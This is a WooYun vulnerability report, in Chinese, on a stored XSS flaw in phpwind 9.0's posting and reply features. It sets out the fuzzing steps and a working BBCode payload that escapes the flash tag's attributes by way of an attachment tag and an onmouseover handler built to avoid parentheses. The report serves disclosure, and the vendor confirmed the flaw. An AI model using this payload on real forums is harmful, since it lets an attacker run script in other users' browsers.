当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063613

漏洞标题:phpwind9.0最新版 富文本存储型XSS漏洞

相关厂商:phpwind

漏洞作者: mramydnei

提交时间:2014-06-05 08:24

修复时间:2014-09-03 08:26

公开时间:2014-09-03 08:26

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-05: 细节已通知厂商并且等待厂商处理中
2014-06-09: 厂商已经确认,细节仅向厂商公开
2014-06-12: 细节向第三方安全合作伙伴开放
2014-08-03: 细节向核心白帽子及相关领域专家公开
2014-08-13: 细节向普通白帽子公开
2014-08-23: 细节向实习白帽子公开
2014-09-03: 细节向公众公开

简要描述:

没有阅读你们的代码,没有华丽的代码分析。只是黑盒测试……

详细说明:

代码编写不当导致phpwind发帖和回复功能均可以由攻击者植入恶意的js代码进而进行跨站脚本攻击。下面附上测试步骤,已便乌云重现和官方修复:
注册账号,在任意板块进行发帖(切换到代码模式方便测试)
测试输入1:

[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash]


测试输出1:

<object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" id="jp_audio_container_0" style="" height="400" width="480">						<param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf">						<param name="allowFullScreen" value="true">						<param name="autostart" value="true">						<param name="loop" value="true">						<param name="allownetworking" value="internal">						<param name="allowscriptaccess" value="never">						<param name="quality" value="high">						<param name="wmode" value="transparent">						<div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div>				    </object>


确定输出点后,尝试在flash的url中加入双引号跳出value=""和data=""。
测试输入2:

[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]


测试输出2:

[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]


发现URL中出现双引号时UBB CODE不会被转换成HTML CODE.但经过小的fuzzing后,发现当

[flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash]


之前出现UBB代码

[attachment=8]


时(点上传附件按钮,上传任何一种允许的文件类型。上传成功成功后点击插入即可),情况就会有所转变。在这种情况下我们在[flash][/flash]中插入的双引号可以帮助我们跳出value=""和data=""。当然还有一些其它蛋疼的限制……
测试输入3:

[attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash]


测试输出3:

[attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash]


当恶意脚本包含"()"时UBBCODE又一次没有被转换成HTML代码。蛋蛋的忧伤……
经过一系列fuzz之后,发现:

1.一旦出现(或)UBB CODE就不会被转换成HTML CODE
2.所有的单引号,双引号,尖括号后面都会被加上%3b
3.&会被替换成HTMLEntity也就是&amp;


这样一来开新标签是不可能了,使用编码也是不可能了,所以机智的我……还是搞定了。
最终测试输入:
[attachment=999][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=location=/javascript:alert%28%29/.source qq[/flash]
最终测试输出:

<object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"="" id="jp_audio_container_0" style="" height="1080" width="1920">						<param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"="">						<param name="allowFullScreen" value="true">						<param name="autostart" value="true">						<param name="loop" value="true">						<param name="allownetworking" value="internal">						<param name="allowscriptaccess" value="never">						<param name="quality" value="high">						<param name="wmode" value="transparent">						<div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div>				    </object>


就这样搞定了……因为flash的高宽值都可控,所以基本上小移动一下鼠标就中招了。

漏洞证明:

攻击者植入恶意代码,并发帖(也可以是回复 一样的嘛):

2133.png


受害者打开被植入恶意代码的帖子时会遭受跨站脚本攻击:

2134.png

修复方案:

没看代码也不好说怎么修复,你们是专业的 抽时间修复一下吧

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-09 10:16

厂商回复:

非常感谢你对我们的支持与关注,该漏洞我们会尽快修复~

最新状态:

暂无